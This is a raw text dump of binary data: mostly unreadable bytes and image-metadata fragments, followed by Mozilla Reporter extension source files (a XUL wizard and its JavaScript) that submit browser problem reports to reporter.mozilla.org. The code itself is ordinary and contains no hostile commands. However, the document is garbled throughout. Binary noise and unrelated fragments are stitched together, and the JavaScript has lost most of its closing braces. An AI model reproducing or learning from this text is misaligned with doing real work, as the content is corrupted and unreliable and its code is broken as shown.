}~ActNCO;b2!
n$zH[QY9
<$J0dkX2
`t$$|$(3
r+|$(|$
USQWVRW
ZPR3C
Z^_Y[]
3/12/2019 BM6$
itWeK`H]FuS>cF4O9+7(
j{]hK9
b$_saf
p o:oOt`vgxjym|n|nv_jIZ)@
taL7*@, {Y
o2hOgYfWgHfKfOgOiRkWp[uf}qy~qdGKsN
h5\IYFW<V6~`0_e.V5U5X7Y;Z>WFZMaPfSl[
S=P9P-M(K%G!qZ#6k%M!H"K$K)V!
f"G0G#E
}vJmd8dF?
lB-U;Rk'E`"`d2jGL
Ek#Vf+jj>T'0
Fh%w]/V*>
f[%W)E
?h&R#H
< @"D#F&G
H+F970'
;!A$H'M%Q4RGQSS
S+RPPC4"
>F&M*U,Z)_K^Bb)c-`
\iocP=%
I(O+X._2f9k(n5ndr2k6i#`"ZtgP7
L'P,Y0b9kBr=wzy
Aw>o'e
="M,X0b:lKvJ
DyruX7
4*R/^7iHtY
{C_V@
L3f?rI
7winy$d-Y&K
Lt0g-Z%J
F|Cr4g-Y'J
3v+f,W'I
koo[/\
8A;;B
zuph\T
3/16/2019 13/16/2019 13/16/2019 1
Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
TI%)$IJI$RI$I%)$IOTI%)$IJI$RI$I%)$IO|
|S0l5f:%e[
)A/E3:M
&Z+?u5~Q
ng!NI:jI$B%
eoaylW
m>>-[CX{?X
j~?Xrk
6]e~Ef
}(c]Uuts}OM:
EE![eQns
Z.mm>hk99
b~?LnI
<<zah[+mOv)0{
N&scbDv^3
khv6uM
C?\}8u
xCCcUg-P
t*lm]C
hun$4cW
2mIgK<
}%%W7L4Wxa2Z-h6t;TI%<
S]_WAh
{y?KX[g}p
qoZD%"U;pu57
usHyuW(h
o3v`s7ow'7,5SK]
jqhc1'
UMx4WM-
}OY6j=/S]"S
TI%<~X-
v~-Euk
jUX&<G
klU_X^>
6GhDPSY~9_oy
j_-"y3a
^4Z"C\^}6g
6f_TI%)T
*ivncy-F
~sHGDS$
)$IO8BIM
Version compatibility info
JPEG Quality
!Adobe
`"@2PA3
" aq2#
AQ aq"
@P`Rbr
|smPMbRZ
-mZd>ym
qU=q+9
d@q<+E2oYV8Y_37.5.x
$08 (G
5;,1{^mOp<L1
BhWo8
){W]9}/
U~KwPK0
$u-r"28
6KYrI"Cvm
m$YZ\S]}j`
hRpvH
+<b!]^C@.7
Qib2I\.x_
}&FIb/
s&c=z7 rCR$
)MDnd&s
78AQS%R*g0+u[4*zp5H
UW9)EVLLP@B
!TL>m.'
G1ZE-a
dQ'Rvit
8|/HS;
]3G%].
FW]3E@1#
D;$db.T
S@>@!@h
3D96l p
BK1mGa
ByDxbx(
W;y0Xn&(k
r+lS7?QU
a>4e6x
:$#2lMkY
''3Iud2|c
2!KW,x
yK{2xOA5O
FPL70n^0q
JI2`#(?j
da7T<Xa?S
VWJIke=>
>.DMHsUS\'+rkQ
N! ])+c
cpD@#a=
(@t&({
9YTfA8um.
j"q;Y=qj!8)|%f{/
|;Z3naBI
Sbc#0C!p[$?zv
xE~XeNnsJ
f5}|.R`
`p*=e;U0Lk&
O"Ak50%n
y'u#JK.
fPH!1\,
Ho7 Oj
>|+kiwo
Nnl4:mfP
="s%wN
P{T'F@wi&(l
mXuyHh
RC6=e;whn
lVB,Om
H+sQQ]0AT;f
{isHsIU
9Gz(Skw]v
Q{qh<)!
Rp/]jc!
p)zqd/p
|%sp%9,R.kr^
%/^ =Y\
sap{jW
N5u?$o?
-9zUY-,(X03^+')=x
iHdjv_/
2)XVV(]+Ux
9_e]:8
1^&>t*:
w!^#A+N{`BrUWE
f2wm&/yW
5Q>MVYkMq
97IE<f
5<F`0 UvbIHFGK{
6U=U;AY
8#k3ZKy4
=z1cA-A]T
8Rz*Z@Kt'z %
I()')$/jR
JP,~@%T
#|=u#myv
y/+pj;
mL4F;ug2tY\>H|
l=Q+;u
OU:yVVc
lwY3!]
2N~v21
IA'jRt(13
-QJIe
c3I75!A'p
n7j+\VRd7Zz\ULEageE+,
/9o3d+`byZjcBHP
{k&m|Gq
#!EL8|wFLPQ-u" h
\mh;V=
bJ,3bQ@vJIT_
2b2ABDa"n3kHZ
#c2d9Pl6XjKq
v0veC1
cW8_ZK/j
{5v{M*[9u0s1MODwPnK2
%5PgY%vk|,
's:ZZ1
R4f)NQZV
Haftf3+h8jR!mn($Px
%6m\\tUIW23
&nE\kpvS[&VqHBGS
6/I"%+R
R`PfsN
]$Bvpq
E}=ev+]n1.
^0ISm1{
9f%{oA(:T
`FCM 2
%zSrV$P
20^iYK<3!
}GeTin
s!n{T#"
usM2*b
XifQQ)P
2ZUc;4X
V,%Q>KZ3
KzBY+qH
IPzl]JT
WURCu@:u/7We1=dGr=+l
sE 0iLr|ZCV
$[\JT5;
2P jPI
k)_}M<
p.wWLS 7x,
)+'Sy/
-!,2%$-
:e)Hi4
KBJhd#iJ
6j4SU(
"I:Rv!dF
$ 2Q#BtG>q
N+q$Kqbf\|N?Y#)
6))e)9^Yy\nG
'sjlZR
d(CUqD 8\t
v(&G w
'\49,G2
QH)W5I[
mOJHuBCw3Qj@#JzlO6
PaWTkS
Ca&Z[d<66o
iC36dHBWo
_-W!.lDtJVbJ=8
{tNI10IZ
AV)66mm
[A+% Su-"~
S J=A|~o
Fdc'.T+
e=(+rJ
[mR}FAz
-s?$n%d
[[KO"e
PRv"D~
"x+|mZ
ARiNzf
TOtwVY^c
LIBt `
#&.EUAZ
>~'J2=Io8
E6|Xjw_u"AT*Z
UUhRtQE
$y9/b
nG$))u
^qI@HID
CSeRSw+Y
=4S2Y%MZ[JJ
)!hSj>ARO
(4##`X
p itT"4]'r[wq=>
QgK)?%DmqR
zlm%a:5
h(MM'q
Ci5)7PiA@u=%(F
?2@${` )@
iAR:n?|)
}3/24/2019 3/24/2019 3/25/2019 1BM
DDDLDDDDDDDDDDDLDDDDDDDDDLDDDDDLDDDDDDDDDDDDLLDDDDDLLDDDDDLDLDDDDDDLDDDDDLDDDDDDLDLDLDDDDDDDDLDDLDLDDLDLDDDDDDDLDLDDLDLDDDDDDDDLDDDDDDDDLDDLDDDDDDDDLDDDLDLDDDDDDDLDLLDDLDDDDDLLDDDDDDLDDLDDLDDDDDLLDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDDDDDDLLDDDDDLDLDDDDDDLLLDDDDDDLDLLDDDLDLLLLLDDDDDDDDLLLDDDDDDDDDLLDDDDLDDDLLDDDLDDDDDDDDLLDDDDDDLDDDDDDLDLDLDDDDDLLLDDDDDLDLDLDDDDDDLDDDDDDDLLDDDDDDLLDDDLDDDDDDDDDDLLDDDDLDDDLLLDDDDLDDDLDLLLLLDDDDDDLDDDDDDLLDDDDDDDLDLDDDDDDLLDDDDDLDLDDDDDLLDDDDLDDDLDDDDDLLDDDDLDDDLDDDDDLDDDDDLDDDDLDDDDLDDDDLDDDDDLDDDDDLLDDDDLDDDDDLDDDDDLLDDDDDDLDDLLDLDDDDDDDLDLDDLDDDDDDDDLDDDLDDDDDDDDLDDDDDDDDLDLDDLDLDDDDDDDLDLDDLDLDLDDDDDDDDLDDLDLDDDDDDLDDDDDLDDDDDDLDDDDDDDLLDDDDDLLDDDDDLDDDDDDLDDDDDLD3/28/2019 13/28/2019 13/29/2019 1
&Photoshop 3.0
Print Info
Resolution
FX Global Lighting Angle
FX Global Altitude
Print Flags
Copyright Flag
Japanese Print Flags
Color Halftone Settings
Color Transfer Settings
Guides
URL overrides
Slices
ICC Untagged Flag
Layer ID Generator Base
New Windows Thumbnail
Rb34rC
UeuF'Vfv7GWgw
B#R3$brCS
dEU6teuFVfv'7GWgw
kRRd8-
cY^Llu;.27,mI!
'M>)cb{1b}Mx
?F5u62*1
bw*'i$:bI$
+1[;tRe?/6YON=:jZ
]q42f>;7
mrq3"J
mv{m'~E1*l5
_k]f5>|fllZlfa^/-o W-iqDg7
z/ef;xp;m
' ;$R-
32?C1Z
`[5moQz]x}s
5IzhN{FgU?Akc;f
Fzxuz;
R}}K+]l1
UN;nUq']_!O-`<
*=;l5n.;w_
uL\`jk6=H
kJoOao4g<_+j
{=[\V5
_g=5ED
Szi$Dvoa
5YzY8b
;4b\.7f8
re?a5/
o{cy4}o
zM:=ud:ZsF1i27dd
>Pe6HVpv=ijem]
fBX1/$M
pT0[.`;qZ]N>{E
26Vc}[[
kgn??}#,#OsJs:F^
[>iGXkj
tX-}gn+
uI$<\K2(7kC`lkXG_
-f5"im
8pSpe(
v@%-q p
a PcZ!
S%.0<xL-Eck@=8
:Tlh<b|S
(NJY:I$
Version compatibility info
JPEG Quality
!Adobe
P1A"#$
AQaq"
@Pr3$C%
`]P*uK
G:|NX]v
Y=:*6wRzY
\;>6<v>|
4Q/~gpJ{6
Xpy%$ZQEHu.[
%oHh<v=8
[_7gZN
]z>x#K
p9CY5.
jy?<=[
t5`VnL_U
AOI]3;u9.^x
SZZ0<]V
Sbfji$Hl
j/7k,b
h[^VTNu(39h
'>'VU+
QZAi<jjS<$
g/Y2*31
--$Mcq/
Y@)~52
2tqZq}G0
7-SSm.
~:V|Z'
d+/_q8
I+oW`"!abp%
I.G08e,J[\Xq2&[{*FhyK
H:YF,}(qu
*BEYa
v89S#ct3$%BA1Q
T!ZEvQOI(D+c
XTf"|
W!f0f%[
*1q"qD
9Qvqnk6Is
;6fBmxogV^QQRqlhR>t
3uY]}cKMIW
e,T[ MpATLU
Y$-Ls)~
V9$7Q_@
OD*1@@
B<B[wZ^-@
!9K9DwB`
R<RL-9ET
c7UAk0
:>f^"FQh
>BAd};MZse
x3##)Uu
F*@`9e
|b1w:dA
Qt}5}l,^3ky: e$|
pST`Ow/
V}o#KJ'`mb7
,ULN`w|uYzR
IR?`1inV
f)`z|H
DJTGb$n
;vQn@2`@@
IPM0L@
@5k`}7
/;OfjmR
,w$~Fcd I(ylzCd
lYyFyN
! {R.o;=
}#mVLKU-k
eB]kul
81;DN1V?S+`
!nZ"Ma "^1nj
IDL\AwVuls
10^P*/=N
>]14*
*5zX0^8`
OXu$E\N0b&v
nm2v5p
ZzJ;j!
HxG#8T)
1e[W>w
5)5O@O
G-Q; ze(#?Mi{N
8q0=e}
hen4@kZ
EPSL5k2
;Hmg{$
@ U,}G
@rOLb&
H.(P4N&m-9JW)
trW<6S
,)U8OgB7kikWk
Rk%:s;P
5(H8(j
"!sa,0z
=FSae7bx5
xUQN?SB
=c-_E{V-
<{B[J6&
sposPr:
%#C_\\Vpy
RuPfv!
;]&Ps;
Cym9pR@
j8ApL;
~tr@k4
J4Ph.8fJ
Y4\"0w
{j.Lf
gNRBd3e(\9
C~X0r+%S29|>|
s}Dup&E
g.]K@g
pFj94:li.ikqzW0
j:=P6uAr
5NNwS*
qfi- ")slr#C
H !2"*Yzy(.`#\$DF
;1S5r`
&Yw$Th!G
GCCVT~YW`X)NI9l3l[Uo+
~42v",Xz<
.AQas!%]
4UXuk}xWNd
Y.1ms.
Llz@2\O
d;}7TspuG2
;:45I
7SmE;V
Krz|_&+>?1U
4)-<Nokn
&e<e_!
hK$elnGZKPD
\s:z|I;RBKFO_`
tsE)cS:
J#n3|:
/%ox${
=1>2?J
71C3\F
q>~~E
Fpo!a,c
b.,q8)
Tmm1#^!cbB
VD1` Cqs&
pBg2Gh-a
K||oqj]
rU"nGFU;2
>/~vZx;
W@:l>6
dhcI..\<
o|1k,H~'m
D46e/=)CZ
LS<-rQ#-G!%$
@x|o9l-)^%gmyn
zM8djGms!cPJ
h?RZZZO]Zo
~|g$;\[4G/!L
u0]lux
da$4M )
VT!o$bdx*u
uB@u>}z?8
DxDU?u?
y.vL'W
r_y0M?
@he,$,
{,\p!ORvUIJwxwU
W^i@;C
5EMket'AX/
oMm"JVmO\/
pc.'p{a2%
{/~rW9,
[\.m",+Vk*
\e,DD#Xc(% nue3|zn)qs,Ac--
)|!`GXOI
]o2Oe,
KgiZuhp
?uRi@{@
y\<Wy`V
.ukr.y/&LOy
zhap5Iy>
RS&_k:
cYs5v
*8}(qi[f6`
/G\\%6s^PwS#k`X
+,QecU7
]J=c~<cc!Z
p&dElc|
~]*M:\emOc
11`(iYKY
v^18"r-q.x
7M$F=X
I@{Hhu!A;
:?1E$9NO
*J>=<r
d.U~g]ZJ
-H#$aX]2
zr:m)fA
{c>w2dZM
qL(y
lC2Lvo+
]s\_I=
/GSqW<
TRhOn8
@w?'x<:
INkfy?gy
_NR?MVP-6E#
)Bo>+dVb?.ZnF
VVOGz[9Y2k
iIQVT*J
NT[[iz}<F[s
C)OQj@
]E$/{,
JuNj#RA4Cui5
OJ$K%V8"
OhhG`GAiC]G
SA^x0F;T'
zhhakD
tg*ueUjNld;
!M}ZW[h
iTRtui
Jw~Y](
cONKZB
=G'X2t:
kyT<f8;.
6= vWsZ
\?i+6{z{Yk#!SZ
Tz15@a
=.+>;uMF^
:Smtw#
Wo~]*
u#BR}O
iF]ETU_
4/1/2019 14/1/2019 14/1/2019 1PK
content/reporter/reportWizard.xul<?xml version="1.0"?>
<!-- ***** BEGIN LICENSE BLOCK *****
- Version: MPL 1.1/GPL 2.0/LGPL 2.1
- The contents of this file are subject to the Mozilla Public License Version
- 1.1 (the "License"); you may not use this file except in compliance with
- the License. You may obtain a copy of the License at
- http://www.mozilla.org/MPL/
- Software distributed under the License is distributed on an "AS IS" basis,
- WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
- for the specific language governing rights and limitations under the
- License.
- The Original Code is Mozilla Reporter (r.m.o).
- The Initial Developer of the Original Code is
- Robert Accettura <robert@accettura.com>.
- Portions created by the Initial Developer are Copyright (C) 2004
- the Initial Developer. All Rights Reserved.
- Contributor(s):
- Alternatively, the contents of this file may be used under the terms of
- either the GNU General Public License Version 2 or later (the "GPL"), or
- the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
- in which case the provisions of the GPL or the LGPL are applicable instead
- of those above. If you wish to allow use of your version of this file only
- under the terms of either the GPL or the LGPL, and not to allow others to
- use your version of this file under the terms of the MPL, indicate your
- decision by deleting the provisions above and replace them with the notice
- and other provisions required by the LGPL or the GPL. If you do not delete
- the provisions above, a recipient may use your version of this file under
- the terms of any one of the MPL, the GPL or the LGPL.
- ***** END LICENSE BLOCK ***** -->
<?xml-stylesheet href="chrome://global/skin/" type="text/css"?>
<?xml-stylesheet href="chrome://reporter/skin/reportWizard.css" type="text/css"?>
<!DOCTYPE wizard [
<!ENTITY % brandDTD SYSTEM "chrome://branding/locale/brand.dtd">
%brandDTD;
<!ENTITY % reportWizardDTD SYSTEM "chrome://reporter/locale/reportWizard.dtd">
%reportWizardDTD;
<wizard id="reportWizard" title="&reportWizard.title;"
style="min-width: 535px; min-height: 442px;"
xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul">
<script type="application/x-javascript" src="chrome://reporter/content/reportWizard.js"/>
<stringbundle id="strings" src="chrome://reporter/locale/reportWizard.properties"/>
<!-- Privacy Notice -->
<wizardpage id="privacyNotice"
onpageshow="initPrivacyNotice()"
onpageadvanced="setPrivacyPref()"
label = "&privacyNotice.label;">
<description>&reportWizardPrivacy.description;</description>
<vbox id="privacyFrame" flex="1">
<iframe id="privacyStatement" type="content" flex="1" src="" />
</vbox>
<description id="mustAgree">&reportWizardMustAgree.description;</description>
<vbox>
<hbox>
<checkbox id="dontShowPrivacyStatement" label="&dontShowPrivacyStatement.label;" accesskey="&dontShowPrivacyStatement.accesskey;" oncommand="privacyPolicyCheckbox()" />
</hbox>
</vbox>
</wizardpage>
<!-- Report Form -->
<wizardpage id="reportForm"
onpageshow="initForm()"
label="&reportForm.label;">
<description>&reportForm.description;</description>
<separator />
<grid>
<columns>
<column/>
<column flex="1"/>
</columns>
<rows>
<row align="center">
<label control="url" value="&reportForm.url.title;" accesskey="&reportForm.url.accesskey;"/>
<textbox id="url" size="60" readonly="true" class="noborder"/>
</row>
<row align="center">
<spacer/>
<checkbox id="behind_login" label="&reportForm.behind_login.title;" accesskey="&reportForm.behind_login.accesskey;"/>
</row>
<row align="center">
<label control="problem_type" value="&reportForm.problem_type.title;" accesskey="&reportForm.problem_type.accesskey;"/>
<!-- XXX: Perhaps this should eventually/maybe come from somewhere else? Eh, not sure so lets just hardcode this for now. -->
<menulist label="problem_type" id="problem_type" oncommand="validateForm()">
<menupopup>
<!-- ************* WARNING *************** -->
<!-- DO *NOT* Add/change/modify without consulting with r.m.o server admin first! -->
<!-- ************ /WARNING *************** -->
<menuitem label="&reportForm.problem_type.chooseOne.title;" value="0"/>
<menuitem label="&reportForm.problem_type.item1.title;" value="1"/>
<menuitem label="&reportForm.problem_type.item2.title;" value="2"/>
<menuitem label="&reportForm.problem_type.item3.title;" value="3"/>
<menuitem label="&reportForm.problem_type.item4.title;" value="4"/>
<menuitem label="&reportForm.problem_type.item5.title;" value="5"/>
<menuitem label="&reportForm.problem_type.item6.title;" value="6"/>
<menuitem label="&reportForm.problem_type.item8.title;" value="8"/>
<menuitem label="&reportForm.problem_type.item9.title;" value="9"/>
<!-- Other problem: must be item #7 and must be last -->
<menuitem label="&reportForm.problem_type.item7.title;" value="7"/>
</menupopup>
</menulist>
</row>
<row>
<label control="description" value="&reportForm.describe.title;" accesskey="&reportForm.describe.accesskey;"/>
<textbox id="description" value="" cols="40" rows="5" multiline="true" size="40" class="noborder"/>
</row>
<row align="center">
<label control="email" value="&reportForm.email.title;" accesskey="&reportForm.email.accesskey;"/>
<textbox id="email" size="60" class="noborder"/>
</row>
<row align="center">
<spacer/>
<hbox>
<label id="privacyPolicy" class="text-link"
value="&reportForm.privacyPolicy.title;"
tooltiptext="&reportForm.privacyPolicy.tooltip;"/>
</hbox>
</row>
</rows>
</grid>
</wizardpage>
<!-- Send Data -->
<wizardpage id="sendReport"
onpageshow="sendReport()"
label="&sendReport.label;">
<description>&sendReport.description;</description>
<separator />
<description id="sendReportProgressDescription"/>
<progressmeter id="sendReportProgressIndicator" mode="undetermined" value="0%"/>
</wizardpage>
<!-- Finish -->
<wizardpage id="finish"
label="&finish.label;">
<textbox id="finishSummary" size="60" readonly="true"/>
<hbox>
<checkbox id="showDetail" label="&reportResults.showDetail.title;" accesskey="&reportResults.showDetail.accesskey;" oncommand="showDetail()"/>
</hbox>
<vbox id="finishExtendedFrame" flex="1">
<iframe id="finishExtendedSuccess" type="content" src="report.xhtml" flex="1"/>
<iframe id="finishExtendedFailed" type="content" src="error.xhtml" flex="1"/>
</vbox>
</wizardpage>
</wizard>
}e7IF;
content/reporter/reportWizard.js/* ***** BEGIN LICENSE BLOCK *****
* Version: MPL 1.1/GPL 2.0/LGPL 2.1
* The contents of this file are subject to the Mozilla Public License Version
* 1.1 (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
* http://www.mozilla.org/MPL/
* Software distributed under the License is distributed on an "AS IS" basis,
* WITHOUT WARRANTY OF ANY KIND, either express or implied. See the License
* for the specific language governing rights and limitations under the
* License.
* The Original Code is Mozilla Reporter (r.m.o).
* The Initial Developer of the Original Code is
* Robert Accettura <robert@accettura.com>.
* Portions created by the Initial Developer are Copyright (C) 2004
* the Initial Developer. All Rights Reserved.
* Contributor(s):
* Boris Zbarsky <bzbarsky@mit.edu>
* Alternatively, the contents of this file may be used under the terms of
* either the GNU General Public License Version 2 or later (the "GPL"), or
* the GNU Lesser General Public License Version 2.1 or later (the "LGPL"),
* in which case the provisions of the GPL or the LGPL are applicable instead
* of those above. If you wish to allow use of your version of this file only
* under the terms of either the GPL or the LGPL, and not to allow others to
* use your version of this file under the terms of the MPL, indicate your
* decision by deleting the provisions above and replace them with the notice
* and other provisions required by the GPL or the LGPL. If you do not delete
* the provisions above, a recipient may use your version of this file under
* the terms of any one of the MPL, the GPL or the LGPL.
* ***** END LICENSE BLOCK ***** */
/********************************************************
* *** Warning ****
* DO _NOT_ MODIFY THIS FILE without first contacting
* Robert Accettura <robert@accettura.com>
* or a reporter.mozilla.org Admin!
*******************************************************/
const gParamLanguage = window.navigator.language;
const gRMOvers = "0.3"; // Do not touch without contacting reporter admin!
const gParamURL = window.arguments[0];
const gParamUserAgent = navigator.userAgent;
const gParamOSCPU = navigator.oscpu;
const gParamPlatform = navigator.platform;
const gCharset = window.arguments[1];
// Globals
var gParamDescription;
var gParamProblemType;
var gParamBehindLogin;
var gParamEmail;
var gParamBuildConfig;
var gParamGecko;
var gPrefBranch;
var gStatusIndicator;
function getReporterPrefBranch() {
if (!gPrefBranch) {
gPrefBranch = Components.classes["@mozilla.org/preferences-service;1"]
.getService(Components.interfaces.nsIPrefService)
.getBranch("extensions.reporter.");
return gPrefBranch;
function getBoolPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getBoolPref(prefname);
catch(ex) {
return aDefault;
function getCharPref(prefname, aDefault) {
try {
var prefs = getReporterPrefBranch();
return prefs.getCharPref(prefname);
catch(ex) {
return aDefault;
function initPrivacyNotice() {
var reportWizard = document.getElementById('reportWizard');
// If they agreed, we continue on
if (getBoolPref("hidePrivacyStatement", false)) {
reportWizard.advance();
} else {
// Don't let users rewind or go forward
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// Load Privacy Policy
var privacyURL = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
document.getElementById("privacyStatement").setAttribute("src", privacyURL+"?plain");
function privacyPolicyCheckbox() {
// if checked, hide message and enable forward button, otherwise show the
// message and disable the forward button.
var canAdvance = document.getElementById('dontShowPrivacyStatement').checked;
document.getElementById('reportWizard').canAdvance = canAdvance;
function setPrivacyPref(){
if (document.getElementById('dontShowPrivacyStatement').checked){
var prefs = getReporterPrefBranch();
prefs.setBoolPref("hidePrivacyStatement", true);
function initForm() {
var strbundle=document.getElementById("strings");
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
document.getElementById('url').value = gParamURL;
// Change next button to "submit report"
reportWizard.getButton('next').label = strbundle.getString("submitReport");
reportWizard.getButton('next').setAttribute("accesskey",
strbundle.getString("submitReport.accesskey"));
// Set the privacy policy link href
var url = getCharPref("privacyURL", "http://reporter.mozilla.org/privacy/");
var privacyLink = document.getElementById("privacyPolicy");
privacyLink.setAttribute("href", url);
// We don't let the user go forward until they fulfill certain requirements - see validateform()
reportWizard.canAdvance = false;
document.getElementById("problem_type").focus();
function validateForm() {
var canAdvance = document.getElementById('problem_type').value != "0";
document.getElementById('reportWizard').canAdvance = canAdvance;
function registerSysID() {
var param = {
'method': 'submitRegister',
'language': gParamLanguage
// go get sysID
sendReporterServerData(param, onRegisterSysIDLoad);
function onRegisterSysIDLoad(req) {
if (req.status == 200) {
var paramSysID = req.responseXML.getElementsByTagName('result').item(0);
// saving
if (paramSysID) {
var prefs = getReporterPrefBranch();
prefs.setCharPref("sysid", paramSysID.textContent);
// Finally send report
sendReport();
return;
// Invalid Response Error
var strbundle = document.getElementById("strings");
showError(strbundle.getString("invalidResponse"));
return;
// On error
var errorStr = extractError(req);
showError(errorStr);
function sendReport() {
// Check for a sysid, if we don't have one, get one it will call sendReport on success.
var sysId = getCharPref("sysid", "");
if (sysId == ""){
registerSysID();
return;
// we control the user path from here.
var reportWizard = document.getElementById('reportWizard');
reportWizard.canRewind = false;
reportWizard.canAdvance = false;
// why would we need a cancel button?
reportWizard.getButton("cancel").disabled = true;
var strbundle=document.getElementById("strings");
var statusDescription = document.getElementById('sendReportProgressDescription');
gStatusIndicator = document.getElementById('sendReportProgressIndicator');
// Data from form we need
gParamDescription = document.getElementById('description').value;
gParamProblemType = document.getElementById('problem_type').value;
gParamBehindLogin = document.getElementById('behind_login').checked;
gParamEmail = document.getElementById('email').value;
gParamBuildConfig = getBuildConfig();
gParamGecko = getGecko();
// params
var param = {
'method': 'submitReport',
'rmoVers': gRMOvers,
'url': gParamURL,
'problem_type': gParamProblemType,
'description': gParamDescription,
'behind_login': gParamBehindLogin,
'platform': gParamPlatform,
'oscpu': gParamOSCPU,
'gecko': gParamGecko,
'product': getProduct(),
'useragent': gParamUserAgent,
'buildconfig': gParamBuildConfig,
'language': gParamLanguage,
'email': gParamEmail,
'charset': gCharset,
'sysid': sysId
gStatusIndicator.value = "5%";
statusDescription.value = strbundle.getString("sendingReport");
sendReporterServerData(param, onSendReportDataLoad);
function onSendReportDataProgress(e) {
gStatusIndicator.value = (e.position / e.totalSize)*100;
function sendReporterServerData(params, callback) {
var serviceURL = getCharPref("serviceURL", "http://reporter.mozilla.org/service/0.3/");
params = serializeParams(params);
var request = new XMLHttpRequest();
request.onprogress = onSendReportDataProgress;
request.open("POST", serviceURL, true);
request.onreadystatechange = function () {
if (request.readyState == 4)
callback(request);
request.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
request.setRequestHeader("Content-length", params.length);
request.setRequestHeader("Connection", "close");
request.send(params);
function serializeParams(params) {
var str = '';
for (var key in params) {
str += key + '=' + encodeURIComponent(params[key]) + '&';
return str.slice(0, -1);
function onSendReportDataLoad(req) {
if (req.status != 200) {
var errorStr = extractError(req);
showError(errorStr);
return;
var reportWizard = document.getElementById('reportWizard');
var finishSummary = document.getElementById('finishSummary');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var statusDescription = document.getElementById('sendReportProgressDescription');
var strbundle = document.getElementById("strings");
// If successful
finishExtendedFailed.hidden = true;
statusDescription.value = strbundle.getString("reportSent");
reportWizard.canAdvance = true;
gStatusIndicator.value = "100%";
// Send to the finish page
reportWizard.advance();
// report ID returned from the web service
var reportId = req.responseXML.getElementsByTagName('reportId').item(0).firstChild.data;
finishSummary.value = strbundle.getString("successfullyCreatedReport") + " " + reportId;
finishExtendedDoc = finishExtendedSuccess.contentDocument;
finishExtendedDoc.getElementById('urlStri').textContent = gParamURL;
finishExtendedDoc.getElementById('problemTypeStri').textContent = document.getElementById('problem_type').label;
finishExtendedDoc.getElementById('descriptionStri').textContent = gParamDescription;
finishExtendedDoc.getElementById('platformStri').textContent = gParamPlatform;
finishExtendedDoc.getElementById('oscpuStri').textContent = gParamOSCPU;
finishExtendedDoc.getElementById('productStri').textContent = getProduct();
finishExtendedDoc.getElementById('geckoStri').textContent = gParamGecko;
finishExtendedDoc.getElementById('buildConfigStri').textContent = gParamBuildConfig;
finishExtendedDoc.getElementById('userAgentStri').textContent = gParamUserAgent;
finishExtendedDoc.getElementById('langStri').textContent = gParamLanguage;
finishExtendedDoc.getElementById('emailStri').textContent = gParamEmail;
finishExtendedDoc.getElementById('charsetStri').textContent = gCharset;
reportWizard.canRewind = false;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
return;
function extractError(req){
var error = req.responseXML.getElementsByTagName('errorString').item(0)
if (error) {
return error.textContent;
// Default error
var strbundle = document.getElementById("strings");
return strbundle.getString("defaultError");
function showError(errorStr){
var strbundle = document.getElementById("strings");
var finishSummary = document.getElementById('finishSummary');
var finishExtendedSuccess = document.getElementById('finishExtendedSuccess');
var finishExtendedFailed = document.getElementById('finishExtendedFailed');
// If there was an error from the server
finishExtendedSuccess.hidden = true;
// Change the label on the page so users know we have an error
var finishPage = document.getElementById('finish');
finishPage.setAttribute("label",strbundle.getString("finishError"));
var reportWizard = document.getElementById('reportWizard');
reportWizard.canAdvance = true;
reportWizard.advance();
finishSummary.value = strbundle.getString("failedCreatingReport");
finishExtendedDoc = finishExtendedFailed.contentDocument;
finishExtendedDoc.getElementById('faultMessage').textContent = errorStr;
document.getElementById('finishExtendedFrame').collapsed = true;
reportWizard.getButton("cancel").disabled = true;
function showDetail() {
var hideDetail = document.getElementById('showDetail').checked ? false : true;
document.getElementById('finishExtendedFrame').collapsed = hideDetail;
function getBuildConfig() {
// bz and Biesi are my heroes for writing/debugging this chunk.
try {
var ioservice =
Components.classes["@mozilla.org/network/io-service;1"]
.getService(Components.interfaces.nsIIOService);
var channel = ioservice.newChannel("chrome://global/content/buildconfig.html", null, null);
var stream = channel.open();
var scriptableInputStream =
Components.classes["@mozilla.org/scriptableinputstream;1"]
.createInstance(Components.interfaces.nsIScriptableInputStream);
scriptableInputStream.init(stream);
var data = "";
var curBit = scriptableInputStream.read(4096);
while (curBit.length) {
data += curBit;
curBit = scriptableInputStream.read(4096);
// Strip out the <!DOCTYPE> part, since it's not valid XML
data = data.replace(/^<!DOCTYPE[^>]*>/, "");
// Probably not strictly needed, but what the heck
data = data.replace(/^<html>/, "<html xmlns='http://www.w3.org/1999/xhtml'>");
var parser = new DOMParser();
var buildconfig = parser.parseFromString(data, "application/xhtml+xml");
var text = buildconfig.getElementsByTagName("body")[0].textContent;
var start= text.indexOf('Configure arguments')+19;
return text.substring(start);
} catch(ex) {
dump(ex);
return "Unknown";
function getProduct() {
try {
// Works on Firefox 1.0+ and Future SeaMonkey's
var appInfo = Components.classes["@mozilla.org/xre/app-info;1"]
.getService(Components.interfaces.nsIXULAppInfo);
// Use App info if possible
return appInfo.name+"/"+appInfo.version;
catch(ex) {}
// only works on Gecko 1.8 and higher (if above doesn't return)
if ('nsIChromeRegistrySea' in Components.interfaces) {
return 'SeaMonkey/'+
Components.classes['@mozilla.org/network/io-service;1']
.getService(Components.interfaces.nsIIOService)
.getProtocolHandler('http')
.QueryInterface(Components.interfaces.nsIHttpProtocolHandler).misc.substring(3);
// Firefox < 1.0+ or a last ditch effort for others that may fail
else if (navigator.vendor != ''){
